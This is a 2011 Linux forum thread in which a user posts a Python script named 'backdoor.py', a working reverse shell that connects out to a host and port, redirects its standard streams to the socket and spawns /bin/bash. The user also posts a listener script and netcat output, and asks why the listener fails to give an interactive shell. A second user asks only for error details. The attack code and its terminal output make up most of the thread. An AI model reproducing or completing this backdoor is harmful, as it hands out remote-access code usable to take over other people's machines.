Results 1 to 5 of 5
Client ~~run backdoor.py connect Ip:192.168.1.217 123port to success.
PHP Code:
#!/usr/bin/python
import sys
import socket
shell = '/bin/bash'
def main ():
s = socket . socket ( socket . AF_INET , socket ...
- 04-13-2011 #1
help how python listening return to shell
Client ~~run backdoor.py connect Ip:192.168.1.217 123port to success.
Server.py listen from backdoor.py and ESTABLISHED success ,but i don't know why get "pty.spawn(shell)" failedPHP Code:#!/usr/bin/python
import sys
import socket
shell='/bin/bash'
def main():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname('192.168.1.217'),int(123)))
print '[+]Connect OK'
except:
print "[-]Can't connect"
sys.exit(2)
import os
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
global shell
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
PHP Code:#!/usr/bin/python
import socket,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host=socket.gethostbyname('192.168.1.217')
port=123
s.bind((host,port))
s.listen(4)
while True:
c,addr=s.accept()
c.close
- 04-14-2011 #2
We need more information. What line are you getting the error on? How are you running the program?
DISTRO=Arch
Registered Linux User #388732
- 04-14-2011 #3
i'm direct python command "python script.py" or "./script.py" running the program but the program's runing not error
i knowing my script Client.py is fault ,because when running the Server.py can create a shell process(pty.spawn('/bin/bash') but i don't know this process and how return or accept be came "interactive shell" so hope you help.
else:
i using "nc tools " listen(nc -l 123) is success from the Server.py connection.
- 04-15-2011 #4
I still don't understand.
You are running a program, and that program is giving you an error, correct? What error are you getting? What program causes the error? What line of the program is the error occurring on? If you don't know the answer to the last question, try adding print statements to your code to see after which print statement the error occurs.DISTRO=Arch
Registered Linux User #388732
- 04-15-2011 #5
I use "nc tools" listen to Clinet.py connection
Outcome: print "Create shell success" the program connect success!!
1:[root@localhost python]# nc -v -l 123
2:[root@skyxue hakcer]# ./clinet.py
[+]Connect OK
3:[root@localhost python]# nc -v -l 123
Connection from 192.168.1.216 port 123 [tcp/ntp] accepted
Create shell success
I use "Myself Server.py" listen to Clinet.py connection
Outcome: No print "Create shell success" the program connect failed!!
1:[root@localhost python]# ./server.py
2:[root@skyxue hakcer]# ./clinet.py
[+]Connect OK
3:[root@localhost python]# ./server.py
...............................(this "." meaning is "no print")


Reply With Quote
